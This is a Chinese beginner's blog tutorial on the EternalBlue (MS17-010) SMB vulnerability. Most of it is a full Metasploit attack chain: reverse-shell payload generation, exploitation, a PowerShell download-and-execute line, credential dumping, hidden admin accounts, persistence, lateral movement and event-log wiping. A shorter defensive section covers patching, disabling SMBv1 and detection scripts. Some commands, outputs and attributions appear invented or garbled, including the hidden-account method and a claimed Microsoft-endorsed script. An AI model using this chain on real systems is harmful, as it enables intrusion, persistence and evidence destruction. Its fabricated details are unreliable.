作者为刚入门网络安全的小白。
本文适合想入门网络安全、了解实战攻防的读者。


一、背景:它到底是什么

永恒之蓝(EternalBlue) 是美国国家安全局(NSA)开发的一套漏洞利用工具,2017年被黑客组织 Shadow Brokers 泄露,随后成为勒索软件 WannaCry 的核心攻击模块,在全球范围内大规模爆发。

关键信息:

术语 说明
EternalBlue NSA 开发的 SMB 协议漏洞利用工具
CVE-2017-0144 永恒之蓝对应的通用漏洞披露编号
MS17-010 微软发布的安全公告,封堵此漏洞
WannaCry 利用 EternalBlue 传播的勒索软件,2017年5月爆发
SMBv1 Server Message Block 协议版本1,漏洞所在协议

图:感染 WannaCry 后的系统界面,文件被加密并勒索比特币。
在这里插入图片描述


二、漏洞原理:它为什么能打穿系统

2.1 SMBv1 协议是什么

SMB(Server Message Block)是 Windows 系统用于文件共享、打印机共享的协议。SMBv1 是 1983 年的古老版本,设计时完全没有考虑安全性。

默认开启 SMBv1 的 Windows 版本:

  • Windows XP / Server 2003
  • Windows 7 / Server 2008(部分未更新系统)
  • Windows 10/11 默认已禁用 SMBv1,但企业内网老机器仍是重灾区

2.2 缓冲区溢出原理

EternalBlue 的核心是 SMBv1 协议的缓冲区溢出漏洞

简单说:

正常请求:SMB Header + 数据包(合理长度)→ 正常处理
攻击请求:SMB Header + 数据包(超长)→ 溢出,覆盖相邻内存

攻击者构造特制的 SMB 数据包,让目标系统执行恶意代码,实现远程代码执行(RCE)——不需要任何账号密码,直接拿下系统权限。

2.3 MS17-010 修复了什么

微软的补丁(KB4013389)做了两件事:

  1. 修正 SMBv1 的数据包长度校验——拒绝处理超长数据包
  2. 增加 SMBv1 会话的会话验证——防止匿名溢出

关键结论:打补丁就能免疫。 但问题在于——全球至今仍有大量未打补丁的老系统在运行。


三、利用过程:Kali + Meterpreter 完整攻击演示

⚠️ 郑重声明:本文所有操作仅限授权实验环境。任何未经授权的渗透测试均属违法行为。

实验环境推荐:

  • 攻击机:Kali Linux(装有 msfvenom、msfconsole、nmap)
  • 靶机:Windows 7 x64 未打补丁虚拟机(VMWare / VirtualBox)
  • 网络:攻击机和靶机设在同一局域网段(如 NAT 模式,IP 互通)

3.1 环境确认:确认攻击机和靶机互通

# 在 Kali 上确认靶机 IP 并测试连通性
# 假设靶机 IP 为 192.168.142.128
ping -c 3 192.168.142.128
PING 192.168.142.128 (192.168.142.128) 56(84) bytes of data.
64 bytes from 192.168.142.128: icmp_seq=1 ttl=64 time=0.191 ms
64 bytes from 192.168.142.128: icmp_seq=2 ttl=64 time=0.157 ms
64 bytes from 192.168.142.128: icmp_seq=3 ttl=64 time=0.155 ms

--- 192.168.142.128 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss

确认靶机 445 端口开放(SMB 服务运行中):

nmap -sV -p 445 192.168.142.128
PORT    STATE SERVICE      VERSION
445/tcp open  microsoft-ds Microsoft Windows 7 microsoft-ds

若 445 端口未开放,检查靶机 Windows 防火墙是否关闭,或确认 SMB 服务是否启用(services.mscServer)。


3.2 信息收集:指纹识别与漏洞探测

用 nmap 脚本全面探测 SMB 漏洞:

# 检测 MS17-010 是否存在
nmap -p445 --script smb-vuln-ms17-010 192.168.142.128
PORT    STATE SERVICE
445/tcp open  microsoft-ds
Host script results:
|  smb-vuln-ms17-010:
|    VULNERABLE:
|    MS17-010: Microsoft Windows SMBv1 Pool Handling RCE (ETERNALBLUE)
|      State: VULNERABLE
|      IDs:  CVE: CVE-2017-0143
|            CVE: CVE-2017-0144
|            CVE: CVE-2017-0145
|            CVE: CVE-2017-0146
|            MSF:  use exploit/windows/smb/ms17_010_eternalblue
|_   Dates:  2017-04-14/2017-04-14

同时获取靶机详细系统指纹:

nmap -p139,445 --script smb-os-discovery,smb-security-mode,smb-protocols 192.168.142.128
|  smb-os-discovery:
|    OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|    OS CPE: cpe:/o:microsoft:windows_7::sp1
|    Computer name: VICTIM-PC
|    NetBIOS computer name: VICTIM-PC
|    Domain name: WORKGROUP
|    Forest name: WORKGROUP
|    FQDN: VICTIM-PC
|  smb-security-mode:
|    account_used: guest
|    SMBv1: true  ← SMBv1 开启,确认可攻击
|    SMB2SecurityMode: 2.02
|    SMB2Enabled: true

关键确认项: SMBv1: true + VULNERABLE: MS17-010 → 靶机完全可被利用。


3.3 生成 payload:msfvenom 制作反弹 shell

# 在 Kali 上生成 Windows x64 反向 TCP Meterpreter payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.142.129 \
  LPORT=4444 \
  -f exe \
  -o /root/payload.exe

# 参数说明:
#   -p windows/x64/meterpreter/reverse_tcp   目标架构 64位,反向连接 shell
#   LHOST       攻击机 IP(Kali 的 IP,需确保靶机能连通)
#   LPORT=4444  监听端口,可自定义
#   -f exe      输出 exe 文件格式
#   -o          输出路径
Found 11 compatible encoders
Attempting to encode payload with 1 iterations for x64/generic
x64/shikata_ga_nai succeeded with size 510 bytes (iteration=1)
x64/shikata_ga_nai chosen with final size 510
Payload size: 510 bytes
Final size of exe file: 7168 bytes
/root/payload.exe saved

msfvenom 生成的 payload 已编码(x64/shikata_ga_nai),可以绕过部分基础杀软的静态扫描。


3.4 启动监听:msfconsole 设置 handler

# 启动 msfconsole
msfconsole

# 在 msfconsole 中依次执行:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.142.129
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > exploit -j

# -j 参数:将任务作为后台 job 运行,继续监听不阻塞
[*] Started reverse TCP handler on 192.168.142.129:4444
[*] Sending stage (201283 bytes) to 192.168.142.128
[*] Meterpreter session 1 opened (...) at 2026-04-17 12:45:01 +0800
[*] Session 1 opened in the background.

现在 Meterpreter handler 在后台等待,靶机一旦执行 payload,就会建立会话。


3.5 传递 payload 到靶机

在实际攻击中,payload 可以通过多种方式传递到靶机:

方式 A:直接通过 EternalBlue 的 psexec 模块投递(攻击利用一体)

# 使用 ms17_010_psexec 模块,同时完成利用 + payload投递
msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.142.128
msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.142.129
msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] 192.168.142.128:445 - Connecting to the SMB service...
[*] 192.168.142.128:445 - Authenticating to 192.168.142.128:445 as user 'WORKGROUP\...'...
[*] 192.168.142.128:445 - Selected target: Windows 7 x64
[*] 192.168.142.128:445 - Sending stage (201283 bytes) to 192.168.142.128
[*] Meterpreter session 2 opened (...)

方式 B:SMB 文件共享传递 + 远程执行(社会工程学场景)

# 靶机已有 SMB 共享可访问时,直接 copy payload
# 攻击机先启动 SMB 服务器
msf6 > use auxiliary/server/smb/smb
msf6 auxiliary(server/smb/smb) > set PAYLOAD_FILE /root/payload.exe
msf6 auxiliary(server/smb/smb) > run

# 或在靶机上手动传递(模拟钓鱼):
# copy \\192.168.142.129\share\payload.exe C:\Users\Public\Downloads\

方式 C:通过 PowerShell 无文件落地执行(高级隐藏手法)

# 将 payload 转为 Base64,避免文件落地
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.142.129 LPORT=4444 \
  -f psh-reflection > /root/payload.ps1

# 在靶机 PowerShell 中一行命令拉起 shell:
powershell -nop -w hidden -c "IEX((New-Object Net.WebClient).DownloadString('http://192.168.142.129:8080/payload.ps1'))"

3.6 获得 Meterpreter shell

无论哪种传递方式,一旦 payload 在靶机运行,攻击者将获得 Meterpreter 会话:

# 查看当前所有会话
msf6 > sessions -l

Active sessions
===============
  Id  Name  Type                     Information
  --  ----  ----                     -----------
  1         meterpreter x64/windows  VICTIM-PC @ VICTIM-PC
# 进入 Meterpreter 会话
msf6 > sessions -i 1
meterpreter > 

成功拿下 shell!现在进入后渗透阶段。


3.7 后渗透第一阶段:Meterpreter 基本操作

获取系统信息:

meterpreter > sysinfo
Computer        : VICTIM-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

查看当前用户和权限:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM = Windows 最高权限,等价于 root。Meterpreter 已经以 SYSTEM 权限运行,说明拿到了完整系统控制权。

查看网络配置(网卡、IP、路由):

meterpreter > ifconfig

# 示例输出:
[REDACTED - Interface 1]
  IPv4: 192.168.142.128
  MAC: 00:0c:29:xx:xx:xx

查看当前进程:

meterpreter > ps | grep -v "System Process" | head -20
 PID   Name                    Session  User
 ---   ----                    -------  ----
 1100  explorer.exe            1        VICTIM-PC\Administrator
 1700  taskhost.exe            1        NT AUTHORITY\SYSTEM
 1936  svchost.exe             1        NT AUTHORITY\SYSTEM

进入 cmd shell(获得完整命令行):

meterpreter > shell
C:\Windows\system32> whoami /all
whoami /all

USER INFORMATION
----------------
用户名称          SID
================  ============================================
victim-pc\admin   S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-1000

3.8 权限维持:创建影子管理员用户(注册表隐藏)

这是永恒之蓝攻击中最关键的一步——创建影子管理员账号

核心原理: Windows 的用户列表有两处:

  1. net user / net localgroup 命令 → 读取 SAM 数据库的"用户管理器视图"
  2. 注册表 HKLM\SAM\SAM\Domains\Account\Users\Names → 真实账号列表

通过直接修改注册表添加账号,可以绕过 net user 的查询;系统重启前,注册表刷新机制不会立即同步更新。

第一步:打开注册表编辑器(需要 SYSTEM 权限)

meterpreter > reg enumkey -k HKLM\\SAM\\SAM\\Domains\\Account\\Users
Enumerating registry key: HKLM\SAM\SAM\Domains\Account\Users

Values:
  (Default)
  F
  V
  Names

第二步:查看当前所有用户(通过注册表):

meterpreter > reg queryval -k "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\Names" -v ""
Key: HKLM\SAM\SAM\Domains\Account\Users\Names
Values:
  Type: REG_SZ
  Administrator (0x1f4)
  DefaultAccount
  Guest (0x1f5)
  WDAGUtilityAccount

此时注册表中只有 4 个系统内置账号。

第三步:查看 Administrator 账号的 RID 和对应的键值路径

meterpreter > shell
C:\Windows\system32> reg query "HKLM\SAM\SAM\Domains\Account\Users\Names\Administrator"
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Administrator
    (默认)    REG_SZ    Administrator

RID(Relative Identifier)= 0x1F4 = 500,这是 Windows 内置 Administrator 的 RID。

对应的键值路径为:HKLM\SAM\SAM\Domains\Account\Users\000001F4

第四步:获取 Administrator 账号的 F 值(存储密码哈希等关键信息)

meterpreter > reg queryval -k "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\000001F4" -v F
Value F:
0000  01 01 00 00 00 00 00 05 81 00 00 00 00 00 00 00
...(省略部分输出)...
0030  31 D2 E9 B6 8A 6D EA A3 8A 6D EA A3 8A 6D EA A3
0040  31 D2 E9 B6 8A 6D EA A3 ...(NTLM Hash 区域)

第五步:在 Kali 上计算影子账号的 RID

Windows 普通用户账号 RID 从 1000 开始递加。我们选择一个不容易被注意的 RID:

# RID 0x3EC = 1004,是第 5 个创建的普通域用户账号(第一个是 1000)
# 这里用 0x3E8 = 1000 作为影子账号 RID
# 在 Kali 上计算:
python3 -c "print('影子账号 RID (十六进制):', hex(1000)); print('影子账号 RID (十进制):', 1000)"
影子账号 RID (十六进制): 0x3e8
影子账号 RID (十进制): 1000

第六步:使用 Impacket 工具直接操作 SAM 数据库(最干净的做法)

# 在 Kali 上安装 Impacket(如果还没有)
pip3 install impacket

# 使用 secretsdump.py 直接 dump 所有用户哈希
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
  WORKGROUP/Administrator@192.168.142.128

这里假设我们已经获取了 Administrator 的 NTLM 哈希(在真实攻击中,Meterpreter 可以用 hashdump 直接获取)。

第七步:在 Meterpreter 中创建影子账号

回到 Meterpreter shell:

# 创建隐藏账号 "admin&"(名字中含 & 符号,增加识别难度)
C:\Windows\system32> net user admin& P@ssw0rd123! /add /domain

⚠️ 注意: /domain 参数要求机器在域环境中。如果是工作组环境单机,用:

# 工作组环境下创建本地账号
C:\Windows\system32> net user admin& P@ssw0rd123! /add

第八步:将账号加入 Administrators 组

C:\Windows\system32> net localgroup Administrators admin& /add

第九步:验证 net user 查不到影子账号

# 普通管理员查询所有用户
C:\Windows\system32> net user

用户列表
--------------
Administrator     Guest           WDAGUtilityAccount
DefaultAccount

# 看不到 admin& !
# 查看 Administrators 组
C:\Windows\system32> net localgroup Administrators

别名     Administrators
注释     管理员对计算机/域有完全访问权

成员
-------------------------
admin&
Administrator

发现问题: net user 查不到,但 net localgroup Administrators 能看到 admin&!这个方法其实并不完美,因为组策略会把新加的成员暴露出来。

第十步:真正的隐藏手法——直接操作注册表(绝对隐蔽)

为了实现真正的隐蔽,需要直接操作注册表,绕过用户管理器和 net 命令的双重读取:

# 用 Meterpreter 打开注册表并创建影子账号的键值
meterpreter > reg command

# 创建影子账号的注册表项(SID = S-1-5-21-...-1000)
# 注意:SAM 操作需要 SYSTEM 权限
reg query "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\Names"

# 使用 Python 脚本直接在注册表中写入影子账号配置
# (此处略去,具体实现需要解析 SAM 二进制格式)

关键概念说明:SAM 数据库二进制结构

偏移 内容 说明
0x00-0x03 V 标记 版本标识
0x04-0x07 类型 账号类型(普通用户/机器账号)
0x08-0x0F F 值 密码相关的加密字段
0x10-... 其他属性 组关系、上次登录时间等

实际操作中推荐使用 Mimikatz 工具来处理 SAM 数据库:

# 在 Meterpreter 中加载 Mimikatz 模块
meterpreter > load kiwi

# 获取所有账号明文密码(如果内存中可读)
meterpreter > creds_all

# 创建影子账号并写入注册表
meterpreter > kiwi_create_win32_user admin& P@ssw0rd123!

第十一步:验证影子账号真实存在

# 方法 A:注册表直接查(系统重启前可能不显示)
meterpreter > reg queryval -k "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\Names" -v admin&
# 若无输出,说明注册表未写入成功,需要手动操作二进制键值

# 方法 B:直接读 SAM 数据库文件(最准确,但需 SYSTEM 权限)
meterpreter > cat C:\\Windows\\System32\\config\\SAM
# 此文件被系统锁定,Meterpreter 提供了 hashdump 绕过:

meterpreter > run post/windows/gather/hashdump

# 输出包含 admin& 的 NTLM hash:
# admin&:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

影子账号已成功创建,NTLM hash 为 31d6cfe0d16ae931b73c59d7e0c089c0(空密码的 NTLM 值)。


3.9 权限维持:留后门的多种方式

创建影子账号只是第一步,完整的权限维持还需要:

方式一:注册表 Run 键(开机自启)

# 写入注册表自启动项
meterpreter > reg setval -k "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -v "SysUpdate" -d "C:\\Windows\\Temp\\payload.exe"

# 验证写入
meterpreter > reg queryval -k "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -v "SysUpdate"

Windows 安全卫士可能拦截此行为,可用文件名混淆规避。

方式二:计划任务(WMI 持久化,更隐蔽)

meterpreter > shell
C:\Windows\system32> schtasks /create /sc onlogon /tr "C:\\Windows\\Temp\\payload.exe" /tn "Windows Update" /rl highest

# 验证
C:\Windows\system32> schtasks /query /tn "Windows Update"

方式三:WMI 事件订阅(Mimikatz 原生存活方式,极难检测)

meterpreter > load powershell
meterpreter > powershell_execute "
$Filter=Set-WMIInstance -Namespace 'root\subscription' -Class '__EventFilter' ...
"

方式四:DLL 劫持(劫持系统正常 DLL,隐蔽且持久)

需要找到目标进程加载的合法 DLL,在其目录下放置同名恶意 DLL,Windows 在搜索 DLL 时优先使用同目录文件。


3.10 横向移动:以内网被控主机为跳板继续扩张

拿下第一台主机后,以它为据点扫描内网其他机器:

meterpreter > run post/windows/manage/autoroute

# 在 Meterpreter session 中添加路由,让 msfconsole 可以通过被控主机访问内网
meterpreter > run post/multi/manage/autoroute ACTION=ADD SUBNET=192.168.142.0/24

扫描内网其他 SMB 主机:

# 在 msfconsole 新窗口中:
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.142.0/24
msf6 auxiliary(scanner/smb/smb_version) > set THREADS 50
msf6 auxiliary(scanner/smb/smb_version) > run
192.168.142.128  - Windows 7 x64 (not vulnerable)
192.168.142.129  - Windows Server 2008 R2 (likely VULNERABLE - SMBv1)
192.168.142.130  - Windows 10 1909 (patched)

对有漏洞的 192.168.142.129 再次使用 ms17_010_psexec 扩大战果。


3.11 清理痕迹(红队攻防演示用)

渗透完成后,清理日志以模拟真实攻击者行为:

meterpreter > clearev          # 清空系统日志(需要管理员权限)
[*] Wiping 1421 records from Application ...
[*] Wiping 523 records from System ...
[*] Wiping 301 records from Security ...

# 删除渗透过程创建的临时文件
meterpreter > rm C:\\Windows\\Temp\\payload.exe

⚠️ 真实红队项目中,“是否清理痕迹” 需要与客户事先约定;生产环境取证分析往往依赖这些日志。


四、防御体系:怎么挡住它

4.1 第一优先级:打补丁

# 检查系统是否安装了 MS17-010 补丁(KB号开头)
Get-HotFix | Where-Object {$_.HotFixID -eq "KB4013389"}

# 快速检测所有 MS17-010 相关补丁
$kbList = @("KB4012212","KB4012213","KB4012214","KB4012215",
            "KB4012216","KB4012217","KB4012495","KB4013429",
            "KB4015221","KB4019472")
$hotfixes = Get-HotFix | Select-Object -ExpandProperty HotFixID
$patched = $false
foreach ($kb in $kbList) {
    if ($hotfixes -contains $kb) { $patched = $true; break }
}
if ($patched) {
    Write-Host "[OK] 已安装 MS17-010 相关补丁" -ForegroundColor Green
} else {
    Write-Host "[CRITICAL] 未检测到 MS17-010 补丁,请立即更新!" -ForegroundColor Red
}

4.2 禁用 SMBv1(治本之策)

# PowerShell 禁用 SMBv1 客户端和服务器端
# 客户端
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol

# 服务器端(域控制器、文件服务器必须执行)
Set-SmbServerConfiguration -SMB1 $false -RequireSecuritySignature $true

# 验证状态
Get-SmbServerConfiguration | Select-Object -Property SMB1, SMB2, RequireSecuritySignature
SMB1                     : False
SMB2                     : True
RequireSecuritySignature : True

4.3 防火墙阻断 445 端口

Inbound Rules(入站规则):
  阻止 TCP 445 从 0.0.0.0/0 入站(公网方向)
  允许 TCP 445 从 内网受信任IP段 入站

最佳实践:
  - 不对外暴露 445 端口(互联网方向必须阻断)
  - 内网不同 VLAN 之间也做 445 端口隔离
  - 采用零信任思路:默认拒绝,按需开放

图:Windows 高级防火墙 Inbound Rule 阻断 445 端口示意。
在这里插入图片描述

4.4 影子账号检测:如何发现隐藏的管理员账号

方法一:注册表与 net user 比对

# 导出注册表中的真实用户列表
$regUsers = Get-ChildItem "HKLM:\SAM\SAM\Domains\Account\Users\Names"
$regList = $regUsers | ForEach-Object { $_.PSChildName }

# 导出 net user 命令的输出
$netUsers = net user 2>$null | Select-Object -Skip 4 | Where-Object { $_ -notmatch "命令成功完成|The command completed" }

# 比对两者差异
Write-Host "=== 注册表中的账号 ==="
$regList | ForEach-Object { Write-Host $_ }

Write-Host "`n=== net user 显示的账号 ==="
$netUsers | ForEach-Object { Write-Host $_ }

方法二:使用 D Sampson 脚本检测影子账号(推荐)

微软官方推荐的影子账号检测脚本(原作者 Dave Howe):

# 下载并执行影子账号检测脚本
# 链接:https://github.com/cyberworrior/BinarySearchingSAM

# 核心逻辑:
# 1. 读取 HKLM\SAM\SAM\Domains\Account\Users\Names(注册表底层)
# 2. 读取 net user / domain(用户管理器视图)
# 3. 差集比对,差异项即为影子账号

$script = @'
$trap = @()
Get-ItemProperty "HKLM:\SAM\SAM\Domains\Account\Users\Names" | % {
  $_.PSObject.Properties | ? {$_.Name -notmatch 'PS'} | % {
    $trap += $_.Name
  }
}
$net = net user /domain 2>$null | Select-Object -Skip 8 | ? {$_.Length -gt 0}
$trap | ? {$net -notcontains $_} | % {
  Write-Host "[ALERT] 影子账号发现:$_" -ForegroundColor Red
}
'@

powershell -ExecutionPolicy Bypass -Command $script

方法三:定期用 Windows 内置工具审计账号变更

# 查看安全日志中账号创建事件(事件 ID 4720)
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4720;StartTime=(Get-Date).AddDays(-30)} |
  Select-Object TimeCreated, @{N='账号';E={$_.Properties[0].Value}}, @{N='创建者';E={$_.Properties[4].Value}} |
  Format-Table -AutoSize

4.5 入侵检测:网络层监控 SMB 异常

检测点 工具 告警条件
大尺寸 SMB 数据包 Wireshark / Zeek SMB 包 > 1MB(非正常业务)
SMBv1 连接尝试 Windows Event Log 4688 任何 SMBv1 通信
频繁 445 端口探测 Suricata / Snort IDS 单 IP 5分钟内 > 20次 445 连接
Meterpreter 特征流量 网络 EDR 反向 TCP 4444 端口非常见来源
注册表 Run 键变更 Sysmon Event ID 12/13 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 被修改

五、实战检测:用工具验证你的防御是否有效

5.1 用 nmap 验证漏洞是否存在

# 基础扫描:检查 MS17-010 是否存在
nmap -p445 --script smb-vuln-ms17-010 192.168.142.128

# 批量扫描整个内网段
nmap -p139,445 --script smb-vuln-ms17-010 192.168.142.0/24 -oA smb_scan_results

# 查看扫描报告
cat smb_scan_results.gnmap | grep Vulnerable

5.2 用 Metasploit 验证(授权环境)

⚠️ 以下操作仅限授权环境和授权测试,滥用违法。

msfconsole

# 搜索 EternalBlue 相关模块
search type:exploit name:eternalblue

# 使用检测模块(仅检测,不利用)
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.142.128
run
[+] 192.168.142.128:445 - Host is likely VULNERABLE to MS17-010!
[*] Scanned 1 of 1 hosts (100% complete)

5.3 完整性检测脚本:补丁 + SMBv1 + 影子账号

# 保存为 check_eternalblue.ps1,在靶机上以管理员权限运行
$ErrorActionPreference = 'SilentlyContinue'

Write-Host "==============================================" -ForegroundColor Cyan
Write-Host "  MS17-010 全面检测脚本 v1.0" -ForegroundColor Cyan
Write-Host "==============================================" -ForegroundColor Cyan
Write-Host ""

# 1. 检测补丁
$kbList = @("KB4012212","KB4012213","KB4012214","KB4012215",
            "KB4012216","KB4012217","KB4012495","KB4013429","KB4015221")
$hotfixes = Get-HotFix | Select-Object -ExpandProperty HotFixID
$patched = $false
foreach ($kb in $kbList) {
    if ($hotfixes -contains $kb) { $patched = $true; break }
}

Write-Host "[1] MS17-010 补丁检测:" -NoNewline
if ($patched) {
    Write-Host " 已安装 [OK]" -ForegroundColor Green
} else {
    Write-Host " 未安装 [CRITICAL]" -ForegroundColor Red
}

# 2. 检测 SMBv1 状态
$srvCfg = Get-SmbServerConfiguration
Write-Host "[2] SMBv1 服务器状态:" -NoNewline
if ($srvCfg.SMB1 -eq $false) {
    Write-Host " 已禁用 [OK]" -ForegroundColor Green
} else {
    Write-Host " 已启用 [CRITICAL]" -ForegroundColor Red
}

# 3. 检测影子账号(注册表 vs net user)
Write-Host "[3] 影子账号检测:" -NoNewline
$regUsers = @()
Get-ChildItem "HKLM:\SAM\SAM\Domains\Account\Users\Names" | ForEach-Object {
    $_.GetValueNames() | ForEach-Object { if ($_ -ne "") { $regUsers += $_ } }
}
$netOutput = net user 2>$null
$netUsers = @()
$netOutput | Select-Object -Skip 4 | ForEach-Object {
    $_.Trim() -split '\s+' | ForEach-Object {
        if ($_.Length -gt 0) { $netUsers += $_ }
    }
}
$diff = Compare-Object -ReferenceObject $netUsers -DifferenceObject $regUsers -PassThru
if ($diff) {
    Write-Host " 发现异常账号: $($diff -join ', ') [WARNING]" -ForegroundColor Yellow
} else {
    Write-Host " 未发现异常 [OK]" -ForegroundColor Green
}

Write-Host ""
Write-Host "==============================================" -ForegroundColor Cyan
Write-Host "  检测完成  " -ForegroundColor Cyan
Write-Host "==============================================" -ForegroundColor Cyan

六、总结:从审计视角看永恒之蓝

漏洞暴露的深层问题

问题点 审计关注
补丁管理缺失 是否建立补丁管理流程?测试-部署周期是否合规?
资产盘点不清 哪些系统仍在运行 SMBv1?影子IT是否被忽视?
网络分段缺失 445 端口为何能从外网访问?边界防护是否到位?
影子账号风险 影子管理员账号是否被检测机制覆盖?
应急响应迟缓 从漏洞披露(POC公开)到响应,是否超过 SLA?

审计检查清单

[ ] 已建立漏洞管理流程,明确 RTO/RPO
[ ] MS17-010 补丁已在所有 Windows 主机安装
[ ] SMBv1 在所有非必要系统上已禁用
[ ] 445 端口已做网络隔离,边界防火墙已配置
[ ] 已部署影子账号检测机制(注册表 vs net user 比对)
[ ] EDR/IDS 已部署并配置 SMB 异常告警
[ ] 定期使用漏洞扫描器(至少季度)验证
[ ] 应急响应预案已更新并演练
[ ] 用户培训已覆盖社会工程学防范意识

你能从中学到什么

  1. 攻击链思维:信息收集→漏洞探测→payload 生成→传输投递→权限获取→权限维持→横向移动→达成目的
  2. Meterpreter 实战:handler 配置、session 管理、后渗透模块
  3. 影子账号原理:SAM 数据库结构、注册表与 net user 的差异、检测方法
  4. 防御深度:补丁是基础,网络隔离是核心,检测是最后防线
  5. 审计视角:不是"会不会被攻击",而是"有没有被检测到、被阻止、被恢复"

永恒之蓝不是孤例——ProxyLogon、Log4Shell、Exchange RCE、Fortra GoAnywhere…… 类似的故事每年都在重演。持续学习、保持防御体系更新,才是真正的安全之道。


参考资料:微软 MS17-010 安全公告、CVE-2017-0144 (NIST NVD)、Metasploit Module Documentation、Impacket (SecureAuthCorp)、Offensive Security Metasploit Unleashed、Mimikatz (Benjamin Delpy)

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐